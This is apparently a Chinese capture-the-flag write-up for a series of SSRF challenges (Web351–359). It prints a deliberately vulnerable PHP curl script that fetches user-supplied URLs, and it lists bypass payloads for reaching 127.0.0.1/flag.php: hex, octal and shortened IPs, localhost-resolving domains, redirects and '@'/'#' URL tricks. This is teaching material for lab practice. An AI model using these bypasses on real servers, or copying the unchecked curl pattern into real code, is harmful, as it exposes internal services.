SSRF
Web351
首先了解一下在PHP中curl函数是用来干什么的:curl是一个强大的库,能够连接通讯各种服务器、支持各种协议。基于curl命令能让用户通过URL和许多不同的服务器进行交流,比如用来请求Web服务器, 同时它也支持https认证、http、post、ftp上传、代理、cookies、简单口令认证等功能。
<?php
error_reporting(0);
highlight_file(__FILE__); // 显示当前文件的源代码
$url = $_POST['url']; // 获取 POST 请求中的 'url' 参数
$ch = curl_init($url); // 使用用户输入的 URL 初始化一个 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0); // CURLOPT_HEADER 选项设为 0,表示不输出响应头。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // CURLOPT_RETURNTRANSFER 选项设为 1,表示将 cURL 执行结果以字符串返回,而不是直接输出。
$result = curl_exec($ch); // 执行 cURL 会话并获取结果
curl_close($ch); // 关闭 cURL 会话
echo ($result); // 输出结果
?>
由Web服务器发起请求,直接输出
Web352、Web353
parse_url
<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果:
Array
(
[scheme] => http
[host] => host
[user] => user
[pass] => pass
[path] => /path
[query] => args=value
[fragment] => anch
)
url设置为127.0.1或者127.1,或者转成16进制也可以
总结:
进制绕过 url=http://0x7F000001/flag.php # 127.0.0.1的十六进制表示
0.0.0.0绕过 url=http://0.0.0.0/flag.php # 0.0.0.0表示本机中所有的IPV4地址
特殊的地址0, url=http://0/flag.php # 0在linux系统下被解析为127.0.0.1,在windows下解析为0.0.0.0
还有 url=http://127.1/flag.php #127.0.0.1的缩写形式
还有 url=http://127.0000000000000.001/flag.php
还有 url=http://0177.0.0.1/flag.php #0177是127的八进制表示
Web354
302 redirect: 302 代表暂时性转移(Temporarily Moved )
302表示旧地址A的资源还在(仍然可以访问),这个重定向只是临时地从旧地址A跳转到地址B,搜索引擎会抓取新的内容而保存旧的网址。
能解析到本地的公共域名
http://127-0-0-1.s.test.cab/ //可以任意配置ip解析
http://3eqe.qwde.127.0.0.1.xip.io/
http://devd.io //以下域名均解析到127.0.0.1
https://localtest.me/
http://localhost.sec.qq.com/
http://lvh.me/
http://strikingly.io/
http://imis.qq.com/
http://safe.taobao.com/
http://114.taobao.com/
http://ecd.tencent.com/
http://wifi.aliyun.com/
http://0
Web355
限制host长度小于5
Web356
限制长度≤3
Web357
使用 filter_var 函数验证 IP 地址是否为公共 IP,过滤掉私有 IP 和保留 IP。如果验证不通过,则终止执行。
FILTER_VALIDATE_IP:用于验证值是否为合法的 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE:用于标记,不允许私有 IP 范围内的地址。私有 IP 范围包括:
10.0.0.0 到 10.255.255.255
172.16.0.0 到 172.31.255.255
192.168.0.0 到 192.168.255.255
Web358
^:匹配字符串的开始。 http://:匹配字符串 http://。由于正斜杠 / 在正则表达式中是一个特殊字符,需要使用反斜杠
进行转义。 ctf.:匹配字符串 ctf.。点号 . 也是正则表达式中的特殊字符,需要转义。
.*:匹配任意数量的任意字符(除换行符之外)。 show$:匹配字符串 show,并且要求它是字符串的结尾(由 $ 指定)。
/i:正则表达式修饰符,表示不区分大小写进行匹配。
url中#和@的妙用
例:https://www.baidu.com#www.qq.com https://www.baidu.com@www.qq.com
http://www.baidu.com@www.qq.com //实则访问www.qq.com
http://www.baidu.com#www.qq.com //实则访问www.baidu.com
Web359
抓包,观察参数